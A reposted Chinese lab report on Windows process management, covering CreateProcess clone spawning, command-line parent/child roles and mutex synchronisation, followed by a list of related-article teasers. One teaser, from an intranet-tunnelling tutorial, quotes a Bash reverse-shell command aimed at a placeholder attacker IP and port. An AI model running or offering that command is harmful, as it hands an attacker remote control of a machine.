操作系统——Windows 进程管理

news2024/12/25 8:58:40

一、实验题目

Windows 进程管理

二、实验目的

(1)学会使用 VC 编写基本的 Win32 Consol Application(控制台应用程序)。

(2)通过创建进程、观察正在运行的进程和终止进程的程序设计和调试操作,进一步熟悉操 作系统的进程概念,理解 Windows 进程的“一生”。

(3)通过阅读和分析实验程序,学习创建进程、观察进程、终止进程以及父子进程同步的基本程序设计方法。

三、实验内容(实验原理/运用的理论知识、算法/程序流程图、步骤和方法、关键代码)

1-1 编写基本的 Win32 Consol Application

这个实验的主要目的是熟悉编写C/C++控制台程序,对于创建一个C/C++控制台程序,我常用的有两种方式,逐一说明其优缺点。

第一种方式是在菜单栏点击 File – New – File… ,在弹出的窗口中选择 C/C++ source ,然后选择代码类型是C还是C++,之后设置文件保存的位置,然后就会生成一个.c(.cpp)文件,在这个文件中就可以编写c(c++)代码了。编写完成后在菜单栏 点击 Build – Build and run 或者直接按F9,即可查看输出。这种方法创建C/C++控制台程序,优点是轻便,文件最后只生成三个,源代码.c文件,.o文件还有exe文件,缺点是不支持调试。适合轻量级开发

第二种方法是新建一个工程,在菜单栏点击 File – New – Project…,弹出的界面选择 Console Application ,然后选择代码类型和文件保存目录,之后它会生成一个该项目的文件夹,然后有一个main.c(main.cpp)文件,在这个文件中编写代码。这个项目中的核心文件是.cbp,还会生成很多从属文件,优点是调试方便,可以用Debug单步调试,缺点是生成文件多,适合大型项目开发。

本次操作系统课程设计均是用第二种方式生成C++项目编写。

1-2 创建进程

1.创建一个C++项目,将指导书中的1-2代码复制到main.cpp文件中,然后编译运行

2.按照代码中的注释提示修改代码,看有什么不同,共有两处修改

3.通过查阅相关资料分析为何会出现这样的结果

关键代码

    BOOL bCreateOK=::CreateProcess(

                       szFilename, // 产生这个 EXE 的应用程序的名称

                       szCmdLine, // 告诉其行为像一个子进程的标志

                       NULL, // 缺省的进程安全性

                       NULL, // 缺省的线程安全性

                       FALSE, // 不继承句柄

                       CREATE_NEW_CONSOLE, // 使用新的控制台

                       NULL, // 新的环境

                       NULL, // 当前目录

                       &si, // 启动信息

                       &pi) ; // 返回的进程信息

1-3 父子进程的简单通信及终止进程

1.创建一个C++项目,将指导书中的1-3代码复制到main.cpp文件中,然后按F9查看运行结果

2.根据注释修改代码,查看结果

3.查阅资料,分析原因

关键代码

// 决定其行为是父进程还是子进程

    if (argc>1 && :: strcmp(argv[1], "child" ) == 0)

    {

        Child() ;

    }

    else

    {

        Parent() ;

    }

四、实验结果与分析

(1)基本的Win32 Console Application:

预期结果:编译成功并生成可执行文件。运行可执行文件后,在命令提示符窗口中显示运行结果。

  分析:这个实验主要是为了验证编译环境的正确性,并确保能够成功编译和执行基本的Win32控制台应用程序。

 

(2)创建进程:

预期结果:每次运行程序时,它会启动自身的克隆进程,并显示每个进程的系统进程ID和在进程列表中的位置。

    分析:通过创建进程的方式,可以生成多个相同的进程实例。每个进程将显示其自己的系统进程ID和在进程列表中的位置。通过修改nClone的定义和初始化方式,可以控制生成的进程数量。

 

在第一次修改中,nClone被定义为0,并将其初始化为0。这意味着在程序开始运行时,初始的克隆ID将为0。

在第二次修改中,nClone的初始化被修改为0,但定义的位置与第一次修改不同。

当修改nClone的值时,即在  :: sscanf(argv[1] , "%d" , &nClone) ;后nClone=0;重新赋值,此时nClone始终为0,此时进程不断派生。

从main()函数开始,首先判断argc的值(argc初始值默认为1)因为argc不满足大于1,所以不能将argv[1]赋值给nClone;然后nClone < c_nCloneMax ,则调用StartClone (++nClone)函数,创建子进程;创建子进程后,argc的值变为2,然后将自增的nClone赋值argv[1],然后将继续执行main()函数,直到(nClone >c_nCloneMax),跳出,结束创建新进程。

(3)父子进程的简单通信及终止进程:

   预期结果:父进程创建子进程,并通过命令行参数将克隆号传递给子进程。子进程接收到克隆号后,在命令提示符窗口中显示自己的系统进程ID和克隆号。父子进程之间通过互斥体(Mutex)进行同步。

  分析:从main()函数开始,首先判断argc的值(argc初始值默认为1),决定进行父进程还是子进程,因为argc不满足大于1,所以调用parent()函数,在执行parent()函数过程中调用StartClone() ;然后通过sprintf(szCmdLine, “”%s"child" , szFilename)将argv[1]赋值child,后面满足条件后调用child()函数;由于设置了互斥信号,则只允许一个进程进行,所以只有当父进程释放互斥信号hMutexSuicide时,子进程检测获得才结束进程

程序执行过程的大致描述:

1.程序开始运行,进入main()函数。

2.根据命令行参数判断当前进程是父进程还是子进程。

3.如果是父进程,则执行Parent()函数。

4.在Parent()函数中,创建一个互斥体对象,然后调用StartClone()函数创建子进程。

5.父进程等待用户的键盘输入。

6.当用户按下键盘时,父进程释放互斥体的所有权,发送信号给子进程。

7.子进程执行Child()函数。

8.在Child()函数中,子进程打开父进程创建的互斥体对象,并等待互斥体的信号。

9.当子进程收到互斥体的信号时,输出相应信息,并关闭互斥体的句柄,然后结束子进程。

10.父进程释放互斥体的句柄,并结束父进程的执行。

五、小结与心得体会

1.进程是操作系统中的基本概念,理解进程的创建、执行和管理对于学习操作系统和编程非常重要。

2.Windows提供了丰富的API和函数来管理进程,如CreateProcess、GetModuleFileName和GetProcessId等。熟悉这些函数的用法可以方便地创建、控制和通信进程。

3.创建子进程是一种常见的并发编程模式,可以通过克隆主进程来实现并行处理任务,每个进程都可以独立执行。

4.进程之间可以通过命令行参数进行通信,父进程可以将信息传递给子进程,并通过子进程的输出结果进行观察和分析。

5.互斥体(Mutex)是一种用于进程间同步的机制,可以确保多个进程之间的顺序执行和互斥访问共享资源。

6.调试工具和跟踪语句对于理解程序的执行过程和调试错误非常有帮助,可以加深对进程管理的理解。

7.实验中的代码示例是基于Windows系统和Win32 API的,但进程管理的概念和原理在其他操作系统中也是通用的。通过学习Windows进程管理,可以为理解和应用其他操作系统提供基础。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/684015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

UEditorPlus v3.2.0 兼容规则过滤,若干问题修复

UEditor 是由百度开发的所见即所得的开源富文本编辑器&#xff0c;基于 MIT 开源协议&#xff0c;该富文本编辑器帮助不少网站开发者解决富文本编辑器的难点。 UEditorPlus 是有 ModStart 团队基于 UEditor 二次开发的富文本编辑器&#xff0c;主要做了样式的定制&#xff0c;…

绩效管理怎么做?一文带你搞懂绩效管理!

在职场中&#xff0c;我们经常会听到“绩效管理”这个词汇。但是&#xff0c;你是否真正理解绩效管理的含义和意义呢&#xff1f; 现在很多企业的绩效管理都变味了&#xff0c;让员工觉得绩效就是想方设法扣工资、绩效就是控制人的手段、绩效不是激励而是威胁、绩效就是打分游…

41 # 编码的问题

常见的进制 10 进制&#xff1a;除表示正负的符号外&#xff0c;以 1~9 开头&#xff0c;由 0~9 组成。如 128&#xff0c;234&#xff0c;-278。2 进制&#xff1a;以 0b 开头&#xff0c;0b118 进制&#xff1a;以 0 或 0o开头&#xff0c;由 0~7 组成的数。如 0126, 050000…

【Redis】多级缓存之OpenResty:nginx查询Tomcat与Redis以及nginx本地缓存

目录 一、认识OpenResty 二、请求参数处理 三、查询Tomcat 四、Redis缓存预热 五、查询Redis缓存 六、nginx本地缓存 一、认识OpenResty OpenResty是一个基于nginx的高性能Web平台&#xff0c;他用于方便的搭建能够处理高并发、扩展性极高的动态Web应用、Web服务和动态网…

SuperMap GIS基础产品组件GIS FAQ集锦(3)

SuperMap GIS基础产品组件GIS FAQ集锦&#xff08;3&#xff09; 【Unity】Unity中如何将场景内容限制在屏幕中间1/3处&#xff1f; 【解决办法】1、新建两个相机&#xff0c;一个代表左边屏幕&#xff0c;一个代表右边屏幕 2、通过Viewport Rect设置相机显示在屏幕中的位置&a…

南卡OE Pro首销售罄,发烧友称其为开放式耳机旗舰标杆!

6月19日南卡官博放出消息&#xff0c;南卡旗下的开放式旗舰机型OE Pro首销售罄&#xff0c;开启预售&#xff0c;将在24日早上10点整再次现货发售&#xff0c;不难看出这款开放式耳机非常火爆&#xff0c;非常受欢迎&#xff0c;被广大发烧友们誉为开放式耳机的旗舰标杆&#x…

会 java 8 stream流就会大数据!

如果你会任意一门语言的stream流&#xff0c;没道理不会大数据开发。 俗话说男追女隔座山&#xff0c;女追男隔层纱。 如果说零基础学大数据&#xff0c;感觉前面是一座山&#xff0c;那么只要你会java或者任意一门语言的stream流&#xff0c;那大数据就只隔了一层纱。 本文以…

内网隧道代理技术(七)之Bash反弹shell

Bash反弹shell Bash介绍 Shell也称为终端或壳&#xff0c;是人与内核之间的翻译官&#xff0c;而Bash则是Linux中默认使用的Shell Bash 反弹Shell的命令如下&#xff1a; bash -i >&/dev/tcp/攻击机_IP/攻击机端口 0>&1 bash -i >&/dev/tcp/攻击机_IP…

【博客676】VictoriaMetrics缓存限制之:布隆过滤器

VictoriaMetrics缓存限制之&#xff1a;布隆过滤器 1、场景 VictoriaMetrics的vmstorage组件接收上游传递过来的指标&#xff0c;在​​现实场景中&#xff0c;指标的数量级或者瞬态指标可能会非常可怕&#xff0c;如果不限制缓存的大小&#xff0c;就会存在由于缓存导致插入速…

模拟电路系列分享-运放的关键参数4

目录 概要 整体架构流程 技术名词解释 1.定义 2.优劣范围 3.理解 技术细节 1.压摆率 1.定义∶ 2.优劣范围 3.理解︰ 2.单位增益带宽 1.定义∶ 2.优劣范围︰ 3.理解∶ 小结 概要 提示&#xff1a;这里可以添加技术概要 例如&#xff1a; 实际运放与理想运放具有很多差别。理想…

jumpserver【基本使用教程】

目录 目录 【1】管理用户 【2】系统用户 【3】普通用户 【4】添加资产&#xff08;可以添加的有&#xff1a;服务器、网络设备、数据库应用&#xff09; 【5】权限划分 【6】验证&#xff08;使用普通用户登录资产&#xff09; 【7】查看是否有记录 【8】添加数据库资产…

2023全球智博会奏响AI产业发展的四重共振

2023年6月25日为期三天的第五届全球人工智能产品应用博览会&#xff08;简称“全球智博会”&#xff09;在苏州国际博览中心盛大启幕。金鸡湖畔汇聚院士专家、领军智囊、顶尖企业&#xff0c;为人工智能关键技术突破、产业化创新应用、科技产品研发落地、经济深度融合等方面提供…

解密EEMD分析:Rlibeemd包带你玩转信号分解和时间序列预测

一、简介 1.1 什么是EEMD? EEMD&#xff08;Ensemble Empirical Mode Decomposition&#xff09;是一种信号分解方法&#xff0c;它旨在分解非线性、非平稳或非白噪声的信号&#xff0c;以揭示复杂信号的局部特征和周期性成分。EEMD不同于传统的余弦变换、小波变换等线性变换…

按键控制蜂鸣器实验

目录 按键控制蜂鸣器实验 1、简介 2、实验任务 3、程序设计 3.1、顶层模块代码 3.2、按键消抖模块代码 3.3、蜂鸣器控制模块代码 4、仿真验证 5、板上下载验证 5.1、硬件设计 5.2、添加约束文件.xdc 5.3、板上下载验证 按键控制蜂鸣器实验 蜂鸣器&#xff08;Buzze…

微机保护主程序框图原理

微机保护主程序框图如图2&#xff0d;5所示。 一、初始化 “初始化”是指保护装置在上电或按下复位键时首先执行的程序&#xff0c;它主要是对单片微机&#xff08;CPU&#xff09;及可编程扩展芯片的工作方式、参数的设置&#xff0c;以便在后面的程序中按预定方案工作。例如…

荨麻疹【指南共识】

慢性自发性荨麻疹达标治疗专家共识&#xff08;2023&#xff09; 参考文献&#xff1a;中华医学会皮肤性病学分会&#xff0c; 中国医师协会皮肤科医师分会. 慢性自发性荨麻疹达标治疗专家共识&#xff08;2023&#xff09;[J]&#xff0e; 中华皮肤科杂志&#xff0c;2023, e2…

在React+ts中集成高德地图(保姆级教程)

前往高德地图开发平台高德开放平台 | 高德地图API 一&#xff1a;申请高德key 去高德官网去创建一个属于自己的地图应用 &#xff08;得到key和秘钥&#xff09; 。 首先&#xff0c;我们要注册一个开发者账号&#xff0c;根据实际情况填写&#xff0c;身份写个人&#xff1a;…

LwIP系列(3):以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式详解

前言 TCP/IP 本质上是软件协议&#xff0c;而LwIP也是对软件协议进行解析处理&#xff0c;所以我们有必要了解下以太网帧、IP、TCP、UDP、IGMP、ICMP帧格式&#xff0c;这样在代码中&#xff0c;才能有的放矢。 以太网帧框架 以太网帧是最底层的原始数据&#xff0c;帧框架如…

Linux用户密码管理

密码复杂度设置 之前写过一篇文章&#xff0c;通过编辑/etc/pam.d下的配置文件来信hi先密码复杂度设置。 这里介绍另一种方法&#xff0c;使用authconfig名来配置。 如果没有安装该软件&#xff0c;输入如下命令安装: yum install authconfig -y 设置方法如下: authconfi…

力扣动态规划专题(六)编辑距离与回文问题 步骤及C++实现

文章目录 392. 判断子序列动态规划双指针 115.不同的子序列583. 两个字符串的删除操作方法一方法二 72. 编辑距离647. 回文子串动态规划双指针 516.最长回文子序列 392. 判断子序列 动态规划 步骤 确定dp数组以及下标的含义 dp[i][j] 表示以下标i-1为结尾的字符串s&#xff0c…